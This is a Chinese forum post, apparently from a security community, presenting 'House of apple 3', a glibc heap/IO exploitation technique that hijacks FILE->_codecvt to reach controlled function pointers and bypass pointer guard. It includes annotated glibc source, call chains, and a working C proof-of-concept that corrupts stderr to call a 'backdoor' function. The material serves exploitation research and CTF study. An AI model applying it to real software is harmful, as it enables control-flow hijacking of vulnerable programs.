首页
社区
课程
招聘
[原创]House of apple 一种新的glibc中IO攻击方法 (3)
发表于: 2022-7-30 00:26 18969

[原创]House of apple 一种新的glibc中IO攻击方法 (3)

2022-7-30 00:26
18969

house of apple系列利用方法文章:

之前提出了一种新的IO利用方法 house of apple,并已经发布了house of apple1house of apple2,其中house of apple1中的利用链能任意地址写堆地址,house of apple2中的利用链能通过控制FILE结构体的_wide_data成员去直接控制程序执行流。本篇是house of apple系列的第三篇,继续给出基于FILE->_wide_data的有关利用技巧(利用链仍然与FILE->_wide_data操作有一点相关)。

前两篇文章中的利用链主要关注_wide_data成员,而本篇文章并不会特别关注_wide_data,而是关注FILE结构体的另外一个成员_codecvt的利用。

本篇的house of apple3同样会给出几条新的IO利用链,在劫持FILE->_codecvt的基础上,直接控制程序执行流。

关于前置知识点击 house of apple1进行查看。

文章中的fp为一个FILE类型的指针,以下分析均基于amd64程序。

使用house of apple3的条件为:

注意:
上面提到,本篇文章并不会特别关注_wide_data成员,这是因为_wide_data设置不当的话会影响某些利用链的分支走向。但是,如果采用默认的_wide_data成员(默认会指向_IO_wide_data_2,除了_wide_vtable外其他成员均默认为0),也并不影响house of apple3的利用。

因此,如果能伪造整个FILE结构体,则需要设置合适的_wide_data;如果只能伪部分FILE的成员的话,保持fp->_wide_data为默认地址即可。

FILE结构体中有一个成员struct _IO_codecvt *_codecvt;,偏移为0x98。该结构体参与宽字符的转换工作,结构体被定义为:

可以看到,__cd_in__cd_out是同一种类型的数据。往下拆,结构体_IO_iconv_t被定义为:

继续拆,来看struct __gconv_step

然后来看struct __gconv_step_data结构体:

以上两个结构体均会被用于字符转换,而在利用的过程中,需要精准控制结构体中的某些成员,避免引发内存访问错误。

house of apple3的利用主要关注以下三个函数:__libio_codecvt_out__libio_codecvt_in__libio_codecvt_length。三个函数的利用点都差不多,以__libio_codecvt_in为例,源码分析如下:

其中,__gconv_fctDL_CALL_FCT被定义为:

而在_IO_wfile_underflow函数中调用了__libio_codecvt_in,代码片段如下:

_IO_wfile_underflow又是_IO_wfile_jumps这个_IO_jump_t类型变量的成员函数。

分析到这里,利用原理就呼之欲出了:劫持或者伪造FILE结构体的fp->vtable_IO_wfile_jumpsfp->_codecvt为可控堆地址,当程序执行IO操作时,控制程序执行流走到_IO_wfile_underflow,设置好fp->codecvt->__cd_in结构体,使得最终调用到__libio_codecvt_in中的DL_CALL_FCT宏,伪造函数指针,进而控制程序执行流。

注意,在伪造过程中,可以设置gs->__shlib_handle == NULL,从而绕过__pointer_guard的指针调用保护。

基于该利用思路,编写demo验证:

输出如下:

目前在glibc源码中搜索到的__libio_codecvt_in/__libio_codecvt_out/__libio_codecvt_length的调用链比较多,这里给出我总结的几条比较好利用的链。

fp的设置如下:

函数的调用链如下:

此链的详细分析见上述的利用原理部分。

fp的设置如下:

函数的调用链如下:

详细分析如下:
_IO_wfile_underflow_mmap函数:

需要设置fp->_flags & _IO_NO_READS == 0,设置fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end,设置fp->_IO_read_ptr < fp->_IO_read_end不进入调用,设置fp->_wide_data->_IO_buf_base != NULL不进入调用。

_IO_wdo_write的调用点很多,这里我选择一个相对简单的链:

fp的设置如下:

函数的调用链如下:

详细分析如下:
首先看_IO_new_file_sync函数:

只需要满足fp->_IO_write_ptr > fp->_IO_write_base

然后看_IO_do_flush宏:

根据fp->_mode的值选择调用_IO_do_write或者_IO_wdo_write。这里我们要调用后者,必须使fp->_mode > 0。此时的第二个参数为fp->_wide_data->_IO_write_base,第三个参数为fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base

接着看_IO_wdo_write

首先to_do必须要大于0,即满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base,然后这个判断需要为假fp->_IO_write_end == fp->_IO_write_ptr && fp->_IO_write_end != fp->_IO_write_base

这个链基本需要控制fp->_wide_data,相比上两条链的约束条件要更多一点。

fp的设置如下:

函数的调用链如下:

详细分析如下:
直接看_IO_wfile_sync函数:

需要设置fp->_wide_data->_IO_write_ptr <= fp->_wide_data->_IO_write_basefp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end != 0

然后看下__libio_codecvt_encoding函数:

直接设置fp->codecvt->__cd_in.step->__stateful != 0即可返回-1

依旧以 house of apple1 中的pwn_oneday为例。

程序的详细分析仍然不在此赘述。这里展示使用_IO_wfile_underflow这条链做rop,然后使用orw读取flag

largebin attack攻击_IO_list_all之后,伪造_IO_FILE结构:

然后借助几个gadgets中转一下:

所以最后的exp为:

调试如下:
通过exit执行到_IO_wfile_underflow,然后执行到__libio_codecvt_in

执行到布置好的gadget

成功栈迁移:

输出flag

house of apple1house of apple2主要关注对_IO_FILE->_wide_data成员的攻击,并可以在劫持该成员之后改写地址内容或者控制程序执行流。而本文提出的house of apple3利用链则攻击_IO_FILE另一个关注甚少的成员_codecvt

可以看到,fp->_codecvt->__cd_in.step中也存储着函数指针,并且在劫持_codecvt的时候可以使得函数指针调用绕过__pointer_guard的保护,因此,可以利用该漏洞进行FSOP

// libio\libio.h:115
struct _IO_codecvt
{
  _IO_iconv_t __cd_in;
  _IO_iconv_t __cd_out;
};
// libio\libio.h:115
struct _IO_codecvt
{
  _IO_iconv_t __cd_in;
  _IO_iconv_t __cd_out;
};
// libio\libio.h:51
typedef struct
{
  struct __gconv_step *step;
  struct __gconv_step_data step_data;
} _IO_iconv_t;
// libio\libio.h:51
typedef struct
{
  struct __gconv_step *step;
  struct __gconv_step_data step_data;
} _IO_iconv_t;
// iconv\gconv.h:84
/* Description of a conversion step.  */
struct __gconv_step
{
  struct __gconv_loaded_object *__shlib_handle;// 关注这个成员
  const char *__modname;
 
  /* For internal use by glibc.  (Accesses to this member must occur
     when the internal __gconv_lock mutex is acquired).  */
  int __counter;
 
  char *__from_name;
  char *__to_name;
 
  __gconv_fct __fct;// 关注这个成员
  __gconv_btowc_fct __btowc_fct;
  __gconv_init_fct __init_fct;
  __gconv_end_fct __end_fct;
 
  /* Information about the number of bytes needed or produced in this
     step.  This helps optimizing the buffer sizes.  */
  int __min_needed_from;
  int __max_needed_from;
  int __min_needed_to;
  int __max_needed_to;
 
  /* Flag whether this is a stateful encoding or not.  */
  int __stateful;
 
  void *__data;     /* Pointer to step-local data.  */
};
// iconv\gconv.h:84
/* Description of a conversion step.  */
struct __gconv_step
{
  struct __gconv_loaded_object *__shlib_handle;// 关注这个成员
  const char *__modname;
 
  /* For internal use by glibc.  (Accesses to this member must occur
     when the internal __gconv_lock mutex is acquired).  */
  int __counter;
 
  char *__from_name;
  char *__to_name;
 
  __gconv_fct __fct;// 关注这个成员
  __gconv_btowc_fct __btowc_fct;
  __gconv_init_fct __init_fct;
  __gconv_end_fct __end_fct;
 
  /* Information about the number of bytes needed or produced in this
     step.  This helps optimizing the buffer sizes.  */
  int __min_needed_from;
  int __max_needed_from;
  int __min_needed_to;
  int __max_needed_to;
 
  /* Flag whether this is a stateful encoding or not.  */
  int __stateful;
 
  void *__data;     /* Pointer to step-local data.  */
};
/* Additional data for steps in use of conversion descriptor.  This is
   allocated by the `init' function.  */
struct __gconv_step_data
{
  unsigned char *__outbuf;    /* Output buffer for this step.  */
  unsigned char *__outbufend; /* Address of first byte after the output
                 buffer.  */
 
  /* Is this the last module in the chain.  */
  int __flags;
 
  /* Counter for number of invocations of the module function for this
     descriptor.  */
  int __invocation_counter;
 
  /* Flag whether this is an internal use of the module (in the mb*towc*
     and wc*tomb* functions) or regular with iconv(3).  */
  int __internal_use;
 
  __mbstate_t *__statep;
  __mbstate_t __state;  /* This element must not be used directly by
               any module; always use STATEP!  */
};
/* Additional data for steps in use of conversion descriptor.  This is
   allocated by the `init' function.  */
struct __gconv_step_data
{
  unsigned char *__outbuf;    /* Output buffer for this step.  */
  unsigned char *__outbufend; /* Address of first byte after the output
                 buffer.  */
 
  /* Is this the last module in the chain.  */
  int __flags;
 
  /* Counter for number of invocations of the module function for this
     descriptor.  */
  int __invocation_counter;
 
  /* Flag whether this is an internal use of the module (in the mb*towc*
     and wc*tomb* functions) or regular with iconv(3).  */
  int __internal_use;
 
  __mbstate_t *__statep;
  __mbstate_t __state;  /* This element must not be used directly by
               any module; always use STATEP!  */
};
enum __codecvt_result
__libio_codecvt_in (struct _IO_codecvt *codecvt, __mbstate_t *statep,
            const char *from_start, const char *from_end,
            const char **from_stop,
            wchar_t *to_start, wchar_t *to_end, wchar_t **to_stop)
{
  enum __codecvt_result result;
  // gs 源自第一个参数
  struct __gconv_step *gs = codecvt->__cd_in.step;
  int status;
  size_t dummy;
  const unsigned char *from_start_copy = (unsigned char *) from_start;
 
  codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_start;
  codecvt->__cd_in.step_data.__outbufend = (unsigned char *) to_end;
  codecvt->__cd_in.step_data.__statep = statep;
 
  __gconv_fct fct = gs->__fct;
#ifdef PTR_DEMANGLE
  // 如果gs->__shlib_handle不为空,则会用__pointer_guard去解密
  // 这里如果可控,设置为NULL即可绕过解密
  if (gs->__shlib_handle != NULL)
    PTR_DEMANGLE (fct);
#endif
  // 这里有函数指针调用
  // 这个宏就是调用fct(gs, ...)
  status = DL_CALL_FCT (fct,
            (gs, &codecvt->__cd_in.step_data, &from_start_copy,
             (const unsigned char *) from_end, NULL,
             &dummy, 0, 0));
       // ......
}
enum __codecvt_result
__libio_codecvt_in (struct _IO_codecvt *codecvt, __mbstate_t *statep,
            const char *from_start, const char *from_end,
            const char **from_stop,
            wchar_t *to_start, wchar_t *to_end, wchar_t **to_stop)
{
  enum __codecvt_result result;
  // gs 源自第一个参数
  struct __gconv_step *gs = codecvt->__cd_in.step;
  int status;
  size_t dummy;
  const unsigned char *from_start_copy = (unsigned char *) from_start;
 
  codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_start;
  codecvt->__cd_in.step_data.__outbufend = (unsigned char *) to_end;
  codecvt->__cd_in.step_data.__statep = statep;
 
  __gconv_fct fct = gs->__fct;
#ifdef PTR_DEMANGLE
  // 如果gs->__shlib_handle不为空,则会用__pointer_guard去解密
  // 这里如果可控,设置为NULL即可绕过解密
  if (gs->__shlib_handle != NULL)
    PTR_DEMANGLE (fct);
#endif
  // 这里有函数指针调用
  // 这个宏就是调用fct(gs, ...)
  status = DL_CALL_FCT (fct,
            (gs, &codecvt->__cd_in.step_data, &from_start_copy,
             (const unsigned char *) from_end, NULL,
             &dummy, 0, 0));
       // ......
}
/* Type of a conversion function.  */
typedef int (*__gconv_fct) (struct __gconv_step *, struct __gconv_step_data *,
                const unsigned char **, const unsigned char *,
                unsigned char **, size_t *, int, int);
 
#ifndef DL_CALL_FCT
# define DL_CALL_FCT(fct, args) fct args
#endif
/* Type of a conversion function.  */
typedef int (*__gconv_fct) (struct __gconv_step *, struct __gconv_step_data *,
                const unsigned char **, const unsigned char *,
                unsigned char **, size_t *, int, int);
 
#ifndef DL_CALL_FCT
# define DL_CALL_FCT(fct, args) fct args
#endif
wint_t
_IO_wfile_underflow (FILE *fp)
{
  struct _IO_codecvt *cd;
  enum __codecvt_result status;
  ssize_t count;
 
  /* C99 requires EOF to be "sticky".  */
 
  // 不能进入这个分支
  if (fp->_flags & _IO_EOF_SEEN)
    return WEOF;
  // 不能进入这个分支
  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  // 不能进入这个分支
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
    return *fp->_wide_data->_IO_read_ptr;
 
  cd = fp->_codecvt;
 
  // 需要进入这个分支
  /* Maybe there is something left in the external buffer.  */
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    {
      /* There is more in the external.  Convert it.  */
      const char *read_stop = (const char *) fp->_IO_read_ptr;
 
      fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
      fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
    fp->_wide_data->_IO_buf_base;
    // 需要一路调用到这里
      status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
                   fp->_IO_read_ptr, fp->_IO_read_end,
                   &read_stop,
                   fp->_wide_data->_IO_read_ptr,
                   fp->_wide_data->_IO_buf_end,
                   &fp->_wide_data->_IO_read_end);
           // ......
    }
}
wint_t
_IO_wfile_underflow (FILE *fp)
{
  struct _IO_codecvt *cd;
  enum __codecvt_result status;
  ssize_t count;
 
  /* C99 requires EOF to be "sticky".  */
 
  // 不能进入这个分支
  if (fp->_flags & _IO_EOF_SEEN)
    return WEOF;
  // 不能进入这个分支
  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  // 不能进入这个分支
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
    return *fp->_wide_data->_IO_read_ptr;
 
  cd = fp->_codecvt;
 
  // 需要进入这个分支
  /* Maybe there is something left in the external buffer.  */
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    {
      /* There is more in the external.  Convert it.  */
      const char *read_stop = (const char *) fp->_IO_read_ptr;
 
      fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
      fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
    fp->_wide_data->_IO_buf_base;
    // 需要一路调用到这里
      status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
                   fp->_IO_read_ptr, fp->_IO_read_end,
                   &read_stop,
                   fp->_wide_data->_IO_read_ptr,
                   fp->_wide_data->_IO_buf_end,
                   &fp->_wide_data->_IO_read_end);
           // ......
    }
}
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
 
void backdoor()
{
    printf("\033[31m[!] Backdoor is called!\n");
    _exit(0);
}
 
void main()
{
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setbuf(stderr, 0);
 
    char *p1 = calloc(0x200, 1);
    char *p2 = calloc(0x200, 1);
    puts("[*] allocate two 0x200 chunks");
 
    size_t puts_addr = (size_t)&puts;
    printf("[*] puts address: %p\n", (void *)puts_addr);
    size_t libc_base_addr = puts_addr - 0x84420;
    printf("[*] libc base address: %p\n", (void *)libc_base_addr);
 
    size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
    printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
 
    size_t _IO_wfile_jumps_addr = libc_base_addr + 0x1e8f60;
    printf("[*] _IO_wfile_jumps address: %p\n", (void *)_IO_wfile_jumps_addr);
  
    char *stderr2 = (char *)_IO_2_1_stderr_addr;
    puts("[+] step 1: set stderr->_flags to ~(4 | 0x10))");
    *(size_t *)stderr2 = 0;
 
    puts("[+] step 2: set stderr->_IO_read_ptr < stderr->_IO_read_end");
    *(size_t *)(stderr2 + 0x10) = (size_t)-1;
  
    puts("[+] step 3: set stderr->vtable to _IO_wfile_jumps-0x40");
    *(size_t *)(stderr2 + 0xd8) = _IO_wfile_jumps_addr-0x40;
  
    puts("[+] step 4: set stderr->codecvt with the allocated chunk p1");
    *(size_t *)(stderr2 + 0x98) = (size_t)p1;
 
    puts("[+] step 5: set stderr->codecvt->__cd_in.step with the allocated chunk p2");
    *(size_t *)p1 = (size_t)p2;
 
    puts("[+] step 6: put backdoor at stderr->codecvt->__cd_in.step->__fct");
    *(size_t *)(p2 + 0x28) = (size_t)(&backdoor);
 
    puts("[+] step 7: call fflush(stderr) to trigger backdoor func");
    fflush(stderr);
 
}
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
 
void backdoor()
{
    printf("\033[31m[!] Backdoor is called!\n");
    _exit(0);
}
 
void main()
{
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setbuf(stderr, 0);
 
    char *p1 = calloc(0x200, 1);
    char *p2 = calloc(0x200, 1);
    puts("[*] allocate two 0x200 chunks");
 
    size_t puts_addr = (size_t)&puts;
    printf("[*] puts address: %p\n", (void *)puts_addr);
    size_t libc_base_addr = puts_addr - 0x84420;
    printf("[*] libc base address: %p\n", (void *)libc_base_addr);
 
    size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
    printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
 
    size_t _IO_wfile_jumps_addr = libc_base_addr + 0x1e8f60;
    printf("[*] _IO_wfile_jumps address: %p\n", (void *)_IO_wfile_jumps_addr);
  
    char *stderr2 = (char *)_IO_2_1_stderr_addr;
    puts("[+] step 1: set stderr->_flags to ~(4 | 0x10))");
    *(size_t *)stderr2 = 0;
 
    puts("[+] step 2: set stderr->_IO_read_ptr < stderr->_IO_read_end");
    *(size_t *)(stderr2 + 0x10) = (size_t)-1;
  
    puts("[+] step 3: set stderr->vtable to _IO_wfile_jumps-0x40");
    *(size_t *)(stderr2 + 0xd8) = _IO_wfile_jumps_addr-0x40;
  
    puts("[+] step 4: set stderr->codecvt with the allocated chunk p1");
    *(size_t *)(stderr2 + 0x98) = (size_t)p1;
 
    puts("[+] step 5: set stderr->codecvt->__cd_in.step with the allocated chunk p2");
    *(size_t *)p1 = (size_t)p2;
 
    puts("[+] step 6: put backdoor at stderr->codecvt->__cd_in.step->__fct");
    *(size_t *)(p2 + 0x28) = (size_t)(&backdoor);
 
    puts("[+] step 7: call fflush(stderr) to trigger backdoor func");
    fflush(stderr);
 
}
[*] allocate two 0x200 chunks
[*] puts address: 0x7f3b2d0a2420
[*] libc base address: 0x7f3b2d01e000
[*] _IO_2_1_stderr_ address: 0x7f3b2d20b5c0
[*] _IO_wfile_jumps address: 0x7f3b2d206f60
[+] step 1: set stderr->_flags to ~(4 | 0x10))
[+] step 2: set stderr->_IO_read_ptr < stderr->_IO_read_end
[+] step 3: set stderr->vtable to _IO_wfile_jumps-0x40
[+] step 4: set stderr->codecvt with the allocated chunk p1
[+] step 5: set stderr->codecvt->__cd_in.step with the allocated chunk p2
[+] step 6: put backdoor at stderr->codecvt->__cd_in.step->__fct
[+] step 7: call fflush(stderr) to trigger backdoor func
[!] Backdoor is called!
[*] allocate two 0x200 chunks
[*] puts address: 0x7f3b2d0a2420
[*] libc base address: 0x7f3b2d01e000
[*] _IO_2_1_stderr_ address: 0x7f3b2d20b5c0
[*] _IO_wfile_jumps address: 0x7f3b2d206f60
[+] step 1: set stderr->_flags to ~(4 | 0x10))
[+] step 2: set stderr->_IO_read_ptr < stderr->_IO_read_end
[+] step 3: set stderr->vtable to _IO_wfile_jumps-0x40
[+] step 4: set stderr->codecvt with the allocated chunk p1
[+] step 5: set stderr->codecvt->__cd_in.step with the allocated chunk p2
[+] step 6: put backdoor at stderr->codecvt->__cd_in.step->__fct
[+] step 7: call fflush(stderr) to trigger backdoor func
[!] Backdoor is called!
_IO_wfile_underflow
    __libio_codecvt_in
        DL_CALL_FCT
            gs = fp->_codecvt->__cd_in.step
            *(gs->__fct)(gs)
_IO_wfile_underflow
    __libio_codecvt_in
        DL_CALL_FCT
            gs = fp->_codecvt->__cd_in.step
            *(gs->__fct)(gs)
_IO_wfile_underflow_mmap
    __libio_codecvt_in
        DL_CALL_FCT
            gs = fp->_codecvt->__cd_in.step
            *(gs->__fct)(gs)
_IO_wfile_underflow_mmap
    __libio_codecvt_in
        DL_CALL_FCT
            gs = fp->_codecvt->__cd_in.step
            *(gs->__fct)(gs)
static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{
  struct _IO_codecvt *cd;
  const char *read_stop;
  // 不能进入这个分支
  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  // 不能进入这个分支
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
    return *fp->_wide_data->_IO_read_ptr;
 
  cd = fp->_codecvt;
 
  /* Maybe there is something left in the external buffer.  */
  // 最好不要进入这个分支
  if (fp->_IO_read_ptr >= fp->_IO_read_end
      /* No.  But maybe the read buffer is not fully set up.  */
      && _IO_file_underflow_mmap (fp) == EOF)
    /* Nothing available.  _IO_file_underflow_mmap has set the EOF or error
       flags as appropriate.  */
    return WEOF;
 
  /* There is more in the external.  Convert it.  */
  read_stop = (const char *) fp->_IO_read_ptr;
 
  // 最好不要进入这个分支
  if (fp->_wide_data->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_wide_data->_IO_save_base != NULL)
    {
      free (fp->_wide_data->_IO_save_base);
      fp->_flags &= ~_IO_IN_BACKUP;
    }
      _IO_wdoallocbuf (fp);// 需要走到这里
    }
  fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
  fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
    fp->_wide_data->_IO_buf_base;
     
    // 需要调用到这里
  __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
              fp->_IO_read_ptr, fp->_IO_read_end,
              &read_stop,
              fp->_wide_data->_IO_read_ptr,
              fp->_wide_data->_IO_buf_end,
              &fp->_wide_data->_IO_read_end);
    //......
}
static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{
  struct _IO_codecvt *cd;
  const char *read_stop;
  // 不能进入这个分支
  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  // 不能进入这个分支
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
    return *fp->_wide_data->_IO_read_ptr;
 
  cd = fp->_codecvt;
 
  /* Maybe there is something left in the external buffer.  */
  // 最好不要进入这个分支
  if (fp->_IO_read_ptr >= fp->_IO_read_end
      /* No.  But maybe the read buffer is not fully set up.  */
      && _IO_file_underflow_mmap (fp) == EOF)
    /* Nothing available.  _IO_file_underflow_mmap has set the EOF or error
       flags as appropriate.  */
    return WEOF;
 
  /* There is more in the external.  Convert it.  */
  read_stop = (const char *) fp->_IO_read_ptr;
 
  // 最好不要进入这个分支
  if (fp->_wide_data->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_wide_data->_IO_save_base != NULL)
    {
      free (fp->_wide_data->_IO_save_base);
      fp->_flags &= ~_IO_IN_BACKUP;
    }
      _IO_wdoallocbuf (fp);// 需要走到这里
    }
  fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
  fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
    fp->_wide_data->_IO_buf_base;
     
    // 需要调用到这里
  __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
              fp->_IO_read_ptr, fp->_IO_read_end,
              &read_stop,
              fp->_wide_data->_IO_read_ptr,
              fp->_wide_data->_IO_buf_end,
              &fp->_wide_data->_IO_read_end);
    //......
}
_IO_new_file_sync
    _IO_do_flush
      _IO_wdo_write
_IO_new_file_sync
    _IO_do_flush
      _IO_wdo_write
_IO_new_file_sync
    _IO_do_flush
        _IO_wdo_write
          __libio_codecvt_out
              DL_CALL_FCT
                  gs = fp->_codecvt->__cd_out.step
                  *(gs->__fct)(gs)
_IO_new_file_sync
    _IO_do_flush
        _IO_wdo_write
          __libio_codecvt_out
              DL_CALL_FCT
                  gs = fp->_codecvt->__cd_out.step
                  *(gs->__fct)(gs)
int
_IO_new_file_sync (FILE *fp)
{
  ssize_t delta;
  int retval = 0;
 
  /*    char* ptr = cur_ptr(); */
  if (fp->_IO_write_ptr > fp->_IO_write_base)
    if (_IO_do_flush(fp)) return EOF;//调用到这里
    //......
}
int
_IO_new_file_sync (FILE *fp)
{
  ssize_t delta;
  int retval = 0;
 
  /*    char* ptr = cur_ptr(); */
  if (fp->_IO_write_ptr > fp->_IO_write_base)

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2023-12-20 13:32 被roderick01编辑 ,原因:
收藏
免费 7
支持
分享
最新回复 (3)
雪    币: 128
活跃值: (8224)
能力值: ( LV13,RANK:438 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2022-7-30 00:34
0
雪    币: 24
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
师傅带我飞吧
2022-7-31 17:39
0
雪    币: 16501
活跃值: (13243)
能力值: ( LV15,RANK:595 )
在线值:
发帖
回帖
粉丝
4

坐等 glibc 2.37 给 _wide_vtable 加上 PTR_MANGLE

最后于 2022-8-4 09:59 被evilpan编辑 ,原因:
2022-8-4 09:58
0
游客
登录 | 注册 方可回帖
返回
//